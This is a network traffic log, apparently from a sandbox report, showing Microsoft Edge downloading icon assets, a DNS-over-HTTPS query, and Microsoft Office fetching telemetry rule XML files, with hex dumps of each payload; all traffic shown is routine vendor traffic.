2024-11-16 22:36:35 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:35 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 3a8e668c-201e-0052-1143-3775f5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T223635Z-164f84587bf9nk94hC1DFWerbg00000002gg000000004cnp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49866	13.107.246.57	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:35 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:35 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 0c120ebd-f01e-005b-40ea-376f7b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T223635Z-1866b5c5fbbkcpv2hC1DFWf1yc00000003kg000000003yf5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49867	13.107.246.57	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:36 UTC	523	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:36 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: e6e8741e-201e-0052-5677-3875f5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T223635Z-164f84587bf6h2bxhC1DFWbcm800000003r0000000000sde Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-16 22:36:36 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49875	162.159.61.3	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 22:36:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomA)@<
2024-11-16 22:36:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 22:36:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3af5f40e8c6c61-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 22:36:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0d 52 00 26 11 70 72 6f 64 2d 61 74 6d 2d 77 64 73 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 00 6e 00 29 0f 70 72 6f 64 2d 61 67 69 63 2d 65 75 32 2d 33 07 65 61 73 74 75 73 32 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 83 00 06 00 01 00 00 00 3c 00 30 06 6e 73 31 2d 30 36 09 61 7a 75 72 65 2d 64 6e 73 c0 2c 06 6d 73 6e 68 73 74 c0 22 00 00 27 11 00 00 03 84 00 00 01 2c 00 09 3a 80 00 00 00 3c 00 00 29 04 d0 00 00 00 00 00 f1 00 0c 00 ed 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomAR&prod-atm-wds-edgetrafficmanagernetAn)prod-agic-eu2-3eastus2cloudappazure,<0ns1-06azure-dns,msnhst"',:<)

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 241b158f-001e-0082-2e2a-375880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223635Z-164f84587bfm8kdnhC1DFWey4g00000003mg000000002r9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223635Z-16547b76f7fgfpmjhC1DFWw6ec00000002y0000000004z3w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:35 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223635Z-16547b76f7fpdsp9hC1DFW8f5000000001200000000078qr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:35 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49865	13.107.246.57	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:36 UTC	523	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:36 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 799c58f9-b01e-003a-4677-382ba4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T223635Z-164f84587bfdfkt7hC1DFW4fas00000001bg00000000m0y1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-16 22:36:36 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:35 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:36 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223636Z-16547b76f7fhvzzthC1DFW557000000003d000000000q7g2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:36 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:36 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223636Z-16547b76f7fjx5nrhC1DFW4dsc00000000pg0000000054t8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49883	13.107.246.57	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:36 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:36 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:36 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c8ab257f-901e-0026-141d-37f3b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T223636Z-16547b76f7fjx5nrhC1DFW4dsc00000000f000000000cuu8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 22:36:36 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49882	13.107.246.57	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:36 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
